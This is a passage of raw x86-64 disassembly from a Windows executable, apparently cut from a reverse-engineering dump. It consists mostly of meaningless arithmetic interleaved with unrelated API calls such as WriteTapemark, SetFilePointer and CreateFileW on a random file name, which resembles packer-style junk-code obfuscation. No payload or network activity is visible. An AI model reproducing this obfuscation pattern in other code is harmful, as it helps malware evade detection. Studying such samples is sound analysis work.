movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov rcx, qword [rsp + 0x96a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9758]
mov rcx, qword [0x14022b808]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
add eax, ecx
mov word [rsp + 0x1c88], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
sub eax, ecx
mov word [rsp + 0x1c78], ax
cmp dword [rsp + 0x45e0], 0xb881
jbe 0x140021400
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c80], ax
cmp dword [rsp + 0x4634], 0x30fd
jb 0x140021ae4
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4614]
mov ecx, dword [rsp + 0x447c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
and eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xcedf
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45ec], eax
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [rsp + 0x1c84]
or eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
lea rdx, [rsp + 0x464c]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e8], eax
mov eax, dword [rsp + 0x4634]
sub eax, 0xe9
mov dword [rsp + 0x4634], eax
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9730]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1c8c]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x96d0]
mov rcx, qword [rsp + 0x9710]
mov qword [rsp + 0x97c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x97c8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
jmp 0x140021965
mov rax, qword [0x140229f20]
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9780]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x82e8], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
mov dword [rsp + 0x4650], eax
cmp dword [rsp + 0x4650], 0
je 0x140021b32
jmp 0x14017ca4b
mov eax, dword [rsp + 0x45c8]
mov dword [rsp + 0x4654], eax
cmp dword [rsp + 0x4654], 0
je 0x140021b4f
jmp 0x14017c9ac
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c80], ax
lea rax, [rsp + 0x82e8]
mov qword [rsp + 0x97d8], rax
lea rax, [rsp + 0x447c]
mov qword [rsp + 0x97e0], rax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x129], al
lea rax, [rsp + 0x7dd0]
mov qword [rsp + 0x97e8], rax
mov eax, dword [rsp + 0x45d8]
movzx ecx, al
mov eax, dword [rsp + 0x460c]
sar eax, cl
mov ecx, dword [rsp + 0x4630]
mov edx, dword [rsp + 0x45c8]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140021de0
mov rax, qword [rsp + 0x96a8]
movzx eax, word [rax]
mov word [0x14022b820], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
add eax, ecx
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x9748]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
je 0x140021c8b
mov dword [rsp + 0x20], 0x43
lea r9, [rsp + 0x9798]
mov r8d, 0xa1
mov rdx, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x97f8]
call qword [sym.imp.USER32.dll_DrawTextW]
mov dword [rsp + 0x4658], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
shl eax, cl
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
call fcn.14017d040
jmp 0x140021de0
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9710]
mov rdx, qword [rsp + 0x9668]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
je 0x140021ce7
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
jmp 0x140021de0
mov rax, qword [rsp + 0x97e0]
mov rcx, qword [rsp + 0x96e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x97b8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4374]
shr edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140021d94
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8078], rax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c8c], ax
lea rax, [rsp + 0x45d8]
mov qword [rsp + 0x9800], rax
lea rax, [rsp + 0x19f]
mov qword [rsp + 0x9808], rax
mov dword [rsp + 0x465c], 0x6497
mov eax, dword [rsp + 0x447c]
imul eax, dword [rsp + 0x4374]
mov dword [rsp + 0x4614], eax
jmp 0x140021de0
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [0x14022b808]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9758]
mov rdx, qword [rsp + 0x9670]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x140021de0
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
sar eax, cl
mov byte [rsp + 0x342], al
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov dword [rsp + 0x4660], eax
cmp dword [rsp + 0x4660], 0x721
je 0x140021e11
cmp dword [rsp + 0x4660], 0xe33
je 0x140021e5d
jmp 0x140021eae
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x7dd0]
sub rcx, rax
mov rax, rcx
mov qword [0x14022b808], rax
lea rdx, [rsp + 0x97b8]
mov ecx, 0xf5
call qword [sym.imp.USER32.dll_GetGUIThreadInfo]
mov dword [rsp + 0x45dc], eax
mov rdx, qword [0x140229f20]
mov ecx, dword [rsp + 0x4614]
call fcn.14017d120
jmp 0x140021eae
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
and eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1c80]
and eax, ecx
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x9748]
movzx edx, word [rax]
movzx ecx, byte [0x14022b810]
call fcn.14017d0e0
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov qword [rsp + 0x9810], rax
cmp dword [rsp + 0x4608], 0x65f1
ja 0x140022369
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x96d0], rax
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [rsp + 0x1c84]
add eax, ecx
mov word [rsp + 0x1c78], ax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
sar eax, cl
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8500], rax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
shl eax, cl
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x97b8]
mov rcx, qword [rsp + 0x97e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140229f2c], eax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9780]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1c78]
add eax, ecx
mov word [rsp + 0x1c88], ax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x4658]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9650]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8500], rax
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov ecx, dword [0x140229f2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x97e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c88]
movsx ecx, word [rsp + 0x1c84]
sar eax, cl
mov word [rsp + 0x1c78], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
shl eax, cl
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9660]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9780], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7c93
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45ec], eax
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c88]
add eax, ecx
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9660]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
mov rax, qword [rsp + 0x97b8]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x7dd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x342]
sar eax, cl
mov byte [0x14022b810], al
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [rsp + 0x1c80]
and eax, ecx
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0x19f], al
mov eax, dword [rsp + 0x4630]
mov dword [rsp + 0x4658], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
and eax, ecx
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a90]
add eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x342]
shl eax, cl
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [0x14022b808]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9670], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8182
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4648], eax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8500]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4608]
add eax, 0x18
mov dword [rsp + 0x4608], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c88], ax
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9780]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
jmp 0x140021ec1
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x97d0], rax
cmp dword [rsp + 0x4618], 0xccf6
jb 0x1400224ec
mov eax, dword [rsp + 0x4618]
sub eax, 0x52
mov dword [rsp + 0x4618], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x9668]
mov qword [rsp + 0x9818], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9818]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x96d0], rax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1c88]
and eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9670]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x97b8]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140229f2c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe467
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4664], eax
mov eax, dword [rsp + 0x4630]
mov ecx, dword [rsp + 0x4658]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
shl eax, cl
mov byte [rsp + 0x19f], al
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c84]
or eax, ecx
mov word [rsp + 0x1c88], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
jmp 0x14002238a
lea rax, [rsp + 0x1c80]
mov qword [rsp + 0x9820], rax
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov qword [rsp + 0x9828], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9830], rax
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [0x140229f2c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x97b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
mov dword [rsp + 0x4668], eax
cmp dword [rsp + 0x4668], 0
je 0x140022698
cmp dword [rsp + 0x4668], 0x5b0
je 0x14002258f
jmp 0x1400227eb
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x342], al
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9730]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9670], rax
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c84]
and eax, ecx
mov word [0x14022b820], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a90]
sub eax, ecx
mov word [rsp + 0x1c8c], ax
mov edx, 1
mov rcx, qword [rsp + 0x97a0]
call qword [sym.imp.USER32.dll_SwitchToThisWindow]
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8078]
sar rax, cl
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1c80]
add eax, ecx
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9810]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9780], rax
lea rdx, [fcn.14017d120]
mov rcx, qword [rsp + 0x9738]
call qword [sym.imp.USER32.dll_EnumPropsW]
mov dword [rsp + 0x45c8], eax
jmp 0x1400227eb
mov eax, dword [rsp + 0x45d8]
movzx ecx, al
mov eax, dword [rsp + 0x4630]
shl eax, cl
mov rcx, qword [rsp + 0x9800]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x460c]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x140022709
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x4658]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x45d8]
mov edx, dword [rsp + 0x4630]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x140022704
mov rax, qword [rsp + 0x9668]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x4614]
call fcn.14017d120
jmp 0x1400227eb
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x460c]
mov eax, dword [rax]
or eax, ecx
mov ecx, dword [rsp + 0x45c8]
mov edx, dword [rsp + 0x4658]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14002278c
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97e8]
mov qword [rsp + 0x9838], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9838]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9730], rax
jmp 0x1400227eb
movzx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0xa9]
add ecx, edx
cmp eax, ecx
jle 0x1400227d2
mov rax, qword [rsp + 0x9800]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x460c]
call fcn.14017d0b0
jmp 0x1400227eb
mov eax, dword [rsp + 0x4374]
mov ecx, dword [rsp + 0x447c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4614], eax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x9650]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8500]
mov rdx, qword [rsp + 0x9758]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
ja 0x140022916
movzx eax, word [0x140229f28]
mov word [0x14022b824], ax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45d8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x45c8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.5g65JZckYJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9840], rax
movzx eax, byte [rsp + 0x186]
mov byte [rsp + 0x343], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xc0ad
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45ec], eax
lea rax, [rsp + 0x1c78]
mov qword [rsp + 0x9848], rax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
shl eax, cl
mov word [rsp + 0x1c78], ax
jmp 0x140022b3c
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x97e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rdx, qword [0x14022b808]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x140022a4b
mov r9, qword [rsp + 0x9850]
mov r8d, 0xc8
mov edx, 0xf2
mov rcx, qword [rsp + 0x9858]
call qword [sym.imp.USER32.dll_DrawIcon]
mov dword [rsp + 0x45f0], eax
movzx eax, word [rsp + 0x1c8c]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
sub eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8500]
shr rax, cl
mov qword [0x14022b808], rax
lea rdx, [rsp + 0x9798]
mov rcx, qword [rsp + 0x9658]
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov dword [rsp + 0x466c], eax
mov rax, qword [rsp + 0x9800]
mov edx, dword [rax]
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rax]
call fcn.14017d0b0
jmp 0x140022b3c
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c8c]
sub eax, ecx
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x9720]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jle 0x140022abe
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c88], ax
movzx eax, word [rsp + 0x1a90]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
jmp 0x140022b3c
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x97d0], rax
mov r9d, 1
mov r8d, 0xd6
mov edx, 0xe1
mov rcx, qword [rsp + 0x9658]
call qword [sym.imp.KERNEL32.dll_WriteTapemark]
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x8078]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9800]
mov edx, dword [rax]
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rax]
call fcn.14017d0b0
mov dword [rsp + 0x4670], 0xe1aa
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x8078]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c50], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9860], rax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9710]
mov qword [rsp + 0x9868], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9868]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9660], rax
movzx eax, word [0x140229f28]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19f]
or eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov qword [rsp + 0x9870], rax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x1c88]
add ecx, edx
cmp eax, ecx
je 0x140022c89
movsx eax, byte [rsp + 0x342]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x96e0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rax]
call fcn.14017cfe0
jmp 0x140022cff
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x4658]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x460c]
mov edx, dword [rsp + 0x4674]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x140022cff
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1c88]
add eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c88], ax
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov word [rsp + 0x1a90], ax
call fcn.14017d040
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9788]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
lea rax, [rsp + 0x8500]
mov qword [rsp + 0x9878], rax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x343]
